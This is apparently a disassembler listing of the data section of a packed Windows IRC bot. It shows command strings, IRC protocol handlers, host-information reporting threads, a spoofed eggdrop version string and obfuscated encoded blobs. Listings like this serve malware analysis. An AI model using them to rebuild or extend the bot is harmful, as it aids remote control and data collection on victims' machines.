sub_4058EE+39o ; sub_4058EE+6Fo ... dword_413F58 dd 30h ; DATA XREF: sub_405BDF+85o ; sub_408E1A+D6o ... dword_413F5C dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_405C9C+DBo ; sub_405D8C+AEo dword_413F68 dd 0D5F6BDB3h, 0D389B6h, 0 ; DATA XREF: sub_406373+5o aIQBgEFSsoR db '©¹ïÕ¡ƒÌ…ØäœééŽË',0 ; DATA XREF: sub_406373+11o align 4 dd 0 dword_413F8C dd 0D5F6BDB3h, 83B1h, 0 ; DATA XREF: sub_406373+1Fo dword_413F98 dd 96EDAFBAh, 83DB88FBh, 2 dup(0) ; DATA XREF: sub_406373+2Do dword_413FA8 dd 9CF7A1B9h, 969083B9h, 0DCh, 0 ; DATA XREF: sub_406373+3Bo dword_413FB8 dd 9EF6A7B0h, 0D9D095B8h, 0A892A5DAh, 0D5E5h, 0 ; DATA XREF: sub_406373+4Bo off_413FCC dd offset dword_4140F0 ; DATA XREF: sub_4063E4+Er ; sub_4063E4+18o ... off_413FD0 dd offset dword_4140BC ; DATA XREF: sub_4063E4+5Br dd offset dword_4140A0 dd offset dword_41405C dd offset aLLDifjqsZbG ; "«½¶œ´‹Û„ˆä†ïéLJ±£" dd offset dword_413FEC dd 2 dup(0) dword_413FEC dd 95EFA1BAh, 93DF89B9h, 0EB9EAD97h, 9B87D3E1h, 94F7A6BFh ; DATA XREF: kkrunchy:00413FE0o dd 9AD185FBh, 0EB9EAD96h, 8686D3E1h, 97F6B9B1h, 0D8DA87BAh dd 0E898A3CAh, 9286C4E1h, 9AFBBEB1h, 96C7C9A5h, 0D990A5D1h dd 87C3C5E6h, 9EF4ABA9h, 83E1D4B1h, 0B7D2FBD4h, 87D1C5AAh dd 2 dup(0) aLLDifjqsZbG db '«½¶œ´‹Û„ˆä†ïéLJ±£',0 ; DATA XREF: kkrunchy:00413FDCo align 4 dd 0 dword_41405C dd 95EFA1BAh, 93DF89B9h, 0B7D0F996h, 0D186C6ABh, 0CAACA8EFh ; DATA XREF: kkrunchy:00413FD8o dd 0DA89D4E1h, 0E3CBFA81h, 849194A9h, 98A0E3E7h, 0C293DEE4h dd 0BF9BFBD8h, 0DA9CC2B7h, 0D4FDFDEBh, 84DF95B8h, 0A89CA4C0h dd 0CCD8E1h, 0 dword_4140A0 dd 95EFA1BAh, 93DF89B9h, 0E596A797h, 8DDACFF6h, 98B6BAB8h ; DATA XREF: kkrunchy:00413FD4o dd 8BBAh, 0 dword_4140BC dd 9AECAFBAh, 0D8D083FAh, 0A998A3DBh, 90DBD5E7h, 0D4ECA0BBh ; DATA XREF: kkrunchy:off_413FD0o dd 90D18992h, 0E9ABAFD5h, 83CBCCEBh, 88F687ACh, 9BD287A1h dd 0E3D1B8DCh, 0C5FCh, 0 dword_4140F0 dd 97F7A1AAh, 0D9CC87B7h, 0E190A5DEh, 8187C5E8h, 0A3B1h ; DATA XREF: kkrunchy:off_413FCCo dd 0 off_414108 dd offset byte_415355 ; DATA XREF: sub_405F9A+29o dword_41410C dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_405FF3+29Ao dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4141FC dd 73h ; DATA XREF: sub_405FF3+239o ; sub_40656A+16Eo ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_405FF3+1FBo aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_405FF3+1D1o align 4 aNo db 'No',0 ; DATA XREF: sub_405FF3+19Ao ; sub_40656A+11Do ... align 4 aYes db 'Yes',0 ; DATA XREF: sub_405FF3+191o ; sub_40656A+118o ... a2003 db '2003',0 ; DATA XREF: sub_405FF3+16Ao ; kkrunchy:00416EBCo align 4 aXp db 'XP',0 ; DATA XREF: sub_405FF3+15Ao align 4 a2000 db '2000',0 ; DATA XREF: sub_405FF3+14Ao ; kkrunchy:00416EB0o align 10h aMe db 'ME',0 ; DATA XREF: sub_405FF3+131o align 4 a98 db '98',0 ; DATA XREF: sub_405FF3+121o align 4 aNt db 'NT',0 ; DATA XREF: sub_405FF3+111o align 4 a95 db '95',0 ; DATA XREF: sub_405FF3+103o align 10h aNoSp db 'no SP',0 ; DATA XREF: sub_405FF3+E8o align 4 a?: ; DATA XREF: sub_405FF3+E3o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4062CF+21o align 4 dword_41428C dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_40656A+1C8o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_40656A+15Bo align 10h aAvarage db 'Avarage',0 ; DATA XREF: sub_40656A+14Fo aBad db 'Bad',0 ; DATA XREF: sub_40656A+148o aLan db 'LAN',0 ; DATA XREF: sub_40656A:loc_40666Do aModem db 'Modem',0 ; DATA XREF: sub_40656A+FCo align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_40656A+AEo aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_40677A+21o align 10h dword_4143A0 dd 5C3A41h ; DATA XREF: sub_4067B2+6r ; sub_40682C+60r ... dword_4143A4 dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_40682C+1A2o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4143DC dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_40682C+15Ao dword_4143EC dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_40682C+13Bo dd 20424D02h, 65657266h, 0 aUnknown db 'unknown',0 ; DATA XREF: sub_40682C+FAo ; sub_40E6A0+36o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_40682C+F3o aCdRom db 'cd-rom',0 ; DATA XREF: sub_40682C+E9o align 4 aRemote db 'remote',0 ; DATA XREF: sub_40682C+DDo align 4 aFixed db 'fixed',0 ; DATA XREF: sub_40682C+D1o align 4 a_ db '. ',0 ; DATA XREF: sub_40682C+BDo ; sub_40682C+184o align 4 aRemovable db 'removable',0 ; DATA XREF: sub_40682C+88o align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_40682C+2Bo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_406A08+21o align 10h aThread db 'thread',0 ; DATA XREF: sub_406BBC+76o ; sub_406CB2+7Bo align 4 aBtg db 'btg',0 ; DATA XREF: sub_406BBC+71o dword_41447C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_406BBC+54o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_406EA9+60o ; sub_406F84+86o align 4 dword_4144C4 dd 3430032Dh, 2037802h ; DATA XREF: sub_4070AF+DAo aNoThreadsRunni db '- No threads running.',0 align 4 dword_4144E4 dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_4070AF+9Co dword_4144F4 dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_4070AF+40o dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_407237+14o align 4 dword_414548 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_4072FC+260o dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_414574 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_4072FC+203o dd 30033A72h, 64250234h, 203h dword_41459C dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_4072FC+1DCo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_4072FC:loc_407466o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4072FC+6Do aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4072FC+5Bo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4072FC+53o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_4072FC+35o align 10h unk_414620 db 55h ; U ; DATA XREF: sub_40756C+Do db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_414664 dd 202h ; DATA XREF: sub_40765C+F8o dword_414668 dd 0A0D7325h, 0 ; DATA XREF: sub_40765C+5Fo dword_414670 dd 3334h ; DATA XREF: sub_40765C+3Ao dword_414674 dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40765C+28o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_4146A0 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_4077A7+45o dd 2E020373h, 0 dword_4146BC dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40780C+7Fo dd 30032072h, 73250234h, 203h dword_4146DC dd 92F7A6A9h, 85DFC8A6h, 0E8D1A4D0h, 0D4E1h, 0 ; DATA XREF: sub_40780C+4Do aAbcdef db 'abcdef',0 ; DATA XREF: sub_4079AC+9o align 4 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_407A76:loc_408CFFo align 10h dword_414710 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_407A76+1279o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_414734 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_407A76+1232o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h aUsername db 'username',0 ; DATA XREF: sub_407A76:loc_408B81o align 4 aId db 'id',0 ; DATA XREF: sub_407A76+10EAo align 4 dword_4147B8 dd 2ABF0h ; DATA XREF: sub_407A76+10C6r align 10h dword_4147C0 dd 4CD6B30h ; DATA XREF: sub_407A76+10BEr dd 2 dup(0) dword_4147CC dd 4BB8h ; DATA XREF: sub_407A76:loc_408B2Cr dd 0 dword_4147D4 dd 4365310h ; DATA XREF: sub_407A76:loc_408B13r align 10h a9252 db '9252',0 ; DATA XREF: sub_407A76+1067o align 4 dword_4147E8 dd 548DB0F1h ; DATA XREF: sub_407A76+105Er dd 3 dup(0) dword_4147F8 dd 1887BC00h ; DATA XREF: sub_407A76+1052r dd 2 dup(0) dword_414804 dd 187F0h ; DATA XREF: sub_407A76+1046r dd 0 dword_41480C dd 28F1BC00h ; DATA XREF: sub_407A76+103Ar dd 2 dup(0) dword_414818 dd 28E90h ; DATA XREF: sub_407A76:loc_408AA4r align 10h dword_414820 dd 27FC4CF0h ; DATA XREF: sub_407A76+1009r dd 2 dup(0) dword_41482C dd 20E14300h ; DATA XREF: sub_407A76+FFDr dd 2 dup(0) dword_414838 dd 20CD0h ; DATA XREF: sub_407A76:loc_408A67r align 10h dword_414840 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_407A76+FE7o dd 63h dword_414858 dd 0ABB370h ; DATA XREF: sub_407A76:loc_4089A3r dd 2 dup(0) dword_414864 dd 2343003h, 2037325h ; DATA XREF: sub_407A76+F23o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_414880 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_407A76+F0Do dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_407A76+E7Do ; kkrunchy:00416EB8o align 4 dword_4148B8 dd 3A4D8ED6h ; DATA XREF: sub_407A76:loc_4088C0r dd 3 dup(0) dword_4148C8 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_407A76+E40o dd 2037325h, 2Eh dword_4148E4 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_407A76+E2Do dd 2037325h, 0 dword_414900 dd 8CD90h ; DATA XREF: sub_407A76:loc_40883Ar dd 2 dup(0) dword_41490C dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_407A76+D90o dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_414940 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_407A76+D71o dd 3A737365h, 34300320h, 3732502h, 2 dword_414964 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_407A76+D42o dd 3A737365h, 34300320h, 3732502h, 2 dword_414988 dd 3Ch ; DATA XREF: sub_407A76+D35o ; sub_407A76+D64o ... dword_41498C dd 22D90h ; DATA XREF: sub_407A76+CB8r dd 0 dword_414994 dd 75FC4CF4h ; DATA XREF: sub_407A76+CACr dd 3 dup(0) dword_4149A4 dd 54FACD0h ; DATA XREF: sub_407A76:loc_408716r align 10h dword_4149B0 dd 23A8h ; DATA XREF: sub_407A76+C81r align 8 dword_4149B8 dd 0A6C5A0h ; DATA XREF: sub_407A76+C75r dd 2 dup(0) dword_4149C4 dd 26730h ; DATA XREF: sub_407A76:loc_4086DFr dd 0 dword_4149CC dd 21ABF1A9h ; DATA XREF: sub_407A76:loc_4086CDr dd 3 dup(0) dword_4149DC dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_407A76+C41o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_414A0C dd 13D450h ; DATA XREF: sub_407A76:loc_40869Fr dd 2 dup(0) dword_414A18 dd 11E3EAF0h ; DATA XREF: sub_407A76+BD4r dd 2 dup(0) dword_414A24 dd 220F0h ; DATA XREF: sub_407A76+BC8r dd 0 dword_414A2C dd 119970h ; DATA XREF: sub_407A76+BBCr dd 2 dup(0) dword_414A38 dd 128170h ; DATA XREF: sub_407A76:loc_408626r dd 2 dup(0) dword_414A44 dd 45444F4Dh, 732520h ; DATA XREF: sub_407A76+BA6o dword_414A4C dd 8C770h ; DATA XREF: sub_407A76:loc_408604r dd 2 dup(0) dword_414A58 dd 7FE2F929h ; DATA XREF: sub_407A76:loc_4085EBr dd 3 dup(0) aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_407A76+B4Fo align 4 aOff db 'off',0 ; DATA XREF: sub_407A76+B49o aOn db 'on',0 ; DATA XREF: sub_407A76+B42o ; sub_407A76:loc_4085CFo align 4 dword_414A84 dd 8FDF90h ; DATA XREF: sub_407A76:loc_4085A1r align 10h dword_414A90 dd 11990h ; DATA XREF: sub_407A76:loc_408585r align 8 dword_414A98 dd 2FE1870h ; DATA XREF: sub_407A76:loc_408556r dd 2 dup(0) dword_414AA4 dd 12E90h ; DATA XREF: sub_407A76:loc_408527r dd 0 dword_414AAC dd 0A483B8h ; DATA XREF: sub_407A76:loc_4084F6r dd 2 dup(0) dword_414AB8 dd 54524150h, 732520h ; DATA XREF: sub_407A76+A76o dword_414AC0 dd 127AF0h ; DATA XREF: sub_407A76:loc_4084D8r dd 2 dup(0) dword_414ACC dd 166200h ; DATA XREF: sub_407A76:loc_4084B3r dd 2 dup(0) dword_414AD8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_407A76:loc_4084A4o ; sub_409918+44Do dword_414AE4 dd 8DA00h ; DATA XREF: sub_407A76:loc_408465r align 10h aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_407A76+9D9o align 4 dword_414B04 dd 22FC130h ; DATA XREF: sub_407A76:loc_408442r align 10h dword_414B10 dd 967690h ; DATA XREF: sub_407A76:loc_408423r dd 2 dup(0) dword_414B1C dd 8FD870h ; DATA XREF: sub_407A76:loc_4083FEr dd 2 dup(0) dword_414B28 dd 6C6E177Ah ; DATA XREF: sub_407A76:loc_4083E2r dd 3 dup(0) dword_414B38 dd 11C1E0F0h ; DATA XREF: sub_407A76:loc_4083C3r dd 2 dup(0) dword_414B44 dd 7D3A3379h ; DATA XREF: sub_407A76:loc_4083AEr dd 3 dup(0) dword_414B54 dd 2606B70h ; DATA XREF: sub_407A76:loc_408392r align 10h dword_414B60 dd 0DD1A0h ; DATA XREF: sub_407A76:loc_40837Dr dd 2 dup(0) dword_414B6C dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_407A76+8E3o dword_414B80 dd 0DA607ED0h ; DATA XREF: sub_407A76:loc_408345r align 10h dword_414B90 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_407A76+8B9o dd 2037325h, 0 dword_414BAC dd 8FCCB0h ; DATA XREF: sub_407A76:loc_4082EAr dd 2 dup(0) aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_407A76+86Do align 4 dword_414BCC dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_407A76+819o dd 2037325h, 0 dword_414BE8 dd 0ECB0h ; DATA XREF: sub_407A76:loc_40823Dr align 10h dword_414BF0 dd 2444A601h ; DATA XREF: sub_407A76:loc_408212r align 10h dword_414C00 dd 1E546F56h ; DATA XREF: sub_407A76:loc_4081C6r dd 4 dup(0) dword_414C14 dd 1BB4B511h ; DATA XREF: sub_407A76+737r dd 3 dup(0) dword_414C24 dd 15A600h ; DATA XREF: sub_407A76+72Br align 10h dword_414C30 dd 23002600h ; DATA XREF: sub_407A76+71Fr dd 2 dup(0) dword_414C3C dd 2692600h ; DATA XREF: sub_407A76:loc_408189r dd 2 dup(0) dword_414C48 dd 23769570h ; DATA XREF: sub_407A76:loc_40816Ar dd 2 dup(0) dword_414C54 dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_407A76+6EAo dword_414C64 dd 2538h ; DATA XREF: sub_407A76:loc_408153r dd 0 dword_414C6C dd 24EF1110h ; DATA XREF: sub_407A76:loc_40813Ar dd 2 dup(0) dword_414C78 dd 0F3567F0h ; DATA XREF: sub_407A76:loc_40812Fr dd 2 dup(0) dword_414C84 dd 0F34D1A0h ; DATA XREF: sub_407A76:loc_40810Er align 10h dword_414C90 dd 5F835274h ; DATA XREF: sub_407A76:loc_4080F6r align 10h dword_414CA0 dd 5F837B94h ; DATA XREF: sub_407A76:loc_4080C3r align 10h dword_414CB0 dd 9C263Dh ; DATA XREF: sub_407A76:loc_4080A1r align 10h dword_414CC0 dd 1839E0F1h ; DATA XREF: sub_407A76:loc_40807Fr align 10h dword_414CD0 dd 154BF0h ; DATA XREF: sub_407A76:loc_40805Dr dd 2 dup(0) dword_414CDC dd 1DA334F1h ; DATA XREF: sub_407A76+5C8r dd 3 dup(0) dword_414CEC dd 0FB98730h ; DATA XREF: sub_407A76+5BCr dd 2 dup(0) dword_414CF8 dd 7DB90h ; DATA XREF: sub_407A76:loc_408026r dd 2 dup(0) dword_414D04 dd 0E64F0h ; DATA XREF: sub_407A76:loc_408002r align 10h dword_414D10 dd 2D10h ; DATA XREF: sub_407A76:loc_407FDAr align 8 aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_407A76+522o align 10h aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_407A76+51Bo align 10h dword_414D70 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_407A76+514o dword_414D80 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_407A76+504o dword_414D8C dd 0BFh, 0 ; DATA XREF: sub_407A76+4F4o dword_414D94 dd 0DEC0878Bh, 0BEFCC6A0h, 0A68AEFE1h, 0B9938EAAh, 0DBEBEBFEh ; DATA XREF: sub_407A76+4E2o dd 0D990DC88h, 0A88CEF99h, 2 dup(0) dword_414DB8 dd 41AC160h ; DATA XREF: sub_407A76:loc_407F4Ar dd 2 dup(0) dword_414DC4 dd 0EBF684B8h ; DATA XREF: sub_407A76:loc_407F31r dd 3 dup(0) dword_414DD4 dd 2EE64F71h ; DATA XREF: sub_407A76:loc_407EE1r dd 3 dup(0) dword_414DE4 dd 0BDDC8D9Ch, 0BCF4AE92h, 0D4AE9AF4h, 0BAFEF6D0h, 0CFABFC87h ; DATA XREF: sub_407A76+386o dd 0CE86D1E3h, 2 dup(0) dword_414E04 dd 92FFA79Ah, 0A7D287A1h, 0F39BA5CBh, 0A6E0D4E7h, 2 dup(0) ; DATA XREF: sub_407A76+2DAo dword_414E1C dd 0AFDE818Dh, 0B2ECA782h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: sub_407A76+2C9o dd 98DA88BCh, 0C8DFB9CEh, 97EAFCD0h, 95FDBCACh, 85DBB0A1h dd 0E890A3CAh, 2 dup(0) dword_414E50 dd 1DBA0h ; DATA XREF: sub_407A76:loc_407D31r align 8 dword_414E58 dd 183B7CF1h ; DATA XREF: sub_407A76:loc_407D18r dd 3 dup(0) dword_414E68 dd 183ED1A1h ; DATA XREF: sub_407A76:loc_407CFCr dd 3 dup(0) dword_414E78 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_407A76+27Co dd 3203A64h, 25023430h, 20373h dword_414E98 dd 2450F230h ; DATA XREF: sub_407A76:loc_407C5Er dd 2 dup(0) dword_414EA4 dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_407A76+1DEo dd 3D203A64h, 2343003h, 2037325h, 0 dword_414EC8 dd 232320h ; DATA XREF: sub_407A76+15Fo dword_414ECC dd 22D8F230h ; DATA XREF: sub_407A76:loc_407B8Ar dd 2 dup(0) dword_414ED8 dd 0A90090h ; DATA XREF: sub_407A76:loc_407B6Br dd 2 dup(0) dword_414EE4 dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_407A76+EBo dd 2037325h, 0 dword_414F00 dd 4730930h ; DATA XREF: sub_407A76:loc_407B31r dd 2 dup(0) dword_414F0C dd 4B43494Eh, 732520h ; DATA XREF: sub_407A76:loc_407B16o ; sub_409277+F0o ... dword_414F14 dd 0B36E0h ; DATA XREF: sub_407A76:loc_407AECr align 10h dword_414F20 dd 97769270h ; DATA XREF: sub_407A76+57r align 10h aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408D81+53o ; sub_409918+631o align 10h asc_414F50: ; DATA XREF: sub_408D81+29o unicode 0, <;>,0 asc_414F54 db '<=',0 ; DATA XREF: sub_408E1A+2F2o align 4 asc_414F58 db '>=',0 ; DATA XREF: sub_408E1A+2C2o align 4 asc_414F5C: ; DATA XREF: sub_408E1A+2AAo dw 3Eh unicode 0, <>,0 asc_414F60 db '!=',0 ; DATA XREF: sub_408E1A+28Eo align 4 asc_414F64 db '==',0 ; DATA XREF: sub_408E1A+272o align 4 aIpv6 db '$ipv6',0 ; DATA XREF: sub_408E1A+181o ; sub_408E1A+253o align 10h aFirewall db '$firewall',0 ; DATA XREF: sub_408E1A+166o ; sub_408E1A+238o align 4 aLatency db '$latency',0 ; DATA XREF: sub_408E1A+14Bo ; sub_408E1A+21Do align 4 aFree db '$free',0 ; DATA XREF: sub_408E1A+130o ; sub_408E1A+202o align 10h aVersion db '$version',0 ; DATA XREF: sub_408E1A+115o ; sub_408E1A+1E7o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_408E1A+EEo ; sub_408E1A+1C0o a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_408E1A+9Co align 4 asc_414FB4 db '&&',0 ; DATA XREF: sub_408E1A+6Ao align 4 asc_414FB8: ; DATA XREF: sub_408E1A+21o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_409149+46o align 4 a6667 db '6667',0 ; DATA XREF: sub_4091AD:loc_4091D8o align 10h aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_409277+230o ; sub_409918+384o align 4 aG: ; DATA XREF: sub_409277+1AFo ; sub_409918+303o unicode 0, <G>,0 aA: ; DATA XREF: sub_409277+1A3o ; sub_409918+2F7o unicode 0, <A>,0 aB: ; DATA XREF: sub_409277+19Co ; sub_409918+2F0o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_409277+167o ; sub_409918+2BCo aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_409277+C7o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_409277+3Do aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_4095E7+16o ; sub_4096CB+2Eo aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_409659+16o ; sub_4096CB:loc_409720o align 10h dword_415040 dd 1 ; DATA XREF: sub_4096CB+CDo dword_415044 dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_4096CB+8Ao dword_415050 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_4096CB+4Eo dword_415060 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_4096CB+3Eo aMirc db 'mIRC',0 ; DATA XREF: sub_409835+2o ; sub_409843+1Co align 4 asc_415078: ; DATA XREF: sub_409918+890o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_409918:loc_409FE7o ; sub_40A236+70o align 4 asc_415084 db '][',0 ; DATA XREF: sub_409918+607o align 4 a332 db '332',0 ; DATA XREF: sub_409918:loc_409E8Eo aNick db 'NICK',0 ; DATA XREF: sub_409918:loc_409E54o align 4 a@: ; DATA XREF: sub_409918+4E4o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_409918:loc_409DDEo ; sub_40A236+2Fo a451 db '451',0 ; DATA XREF: sub_409918:loc_409DC1o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_409918+487o aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_409918+437o a001 db '001',0 ; DATA XREF: sub_409918:loc_409D19o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_409918+3F7o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_409918:loc_409CDAo align 4 aError db 'ERROR',0 ; DATA XREF: sub_409918:loc_409CBBo align 4 a433 db '433',0 ; DATA XREF: sub_409918:loc_409B57o dword_4150E0 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_409918+22Bo aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_409918:loc_409B3Eo dword_415100 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_409918+211o dd 73256433h, 69572820h, 2932336Eh, 1 dword_415124 dd 4950013Ah, 1474Eh ; DATA XREF: sub_409918+1DAo dword_41512C dd 4950013Ah, 474Eh ; DATA XREF: sub_409918+1C7o dword_415134 dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_409918+1B4o dword_415140 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_409918:loc_409AB9o aSend db 'SEND',0 ; DATA XREF: sub_409918+AFo align 4 dword_415154 dd 4344013Ah, 43h ; DATA XREF: sub_409918+8Fo aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_409918+61o ; sub_409918+69Eo ... aMode db 'MODE',0 ; DATA XREF: sub_409918+4Ao align 4 aPong db 'PONG',0 ; DATA XREF: sub_409918:loc_40994Bo align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_409918+24o aPing db 'PING',0 ; DATA XREF: sub_409918+Fo align 4 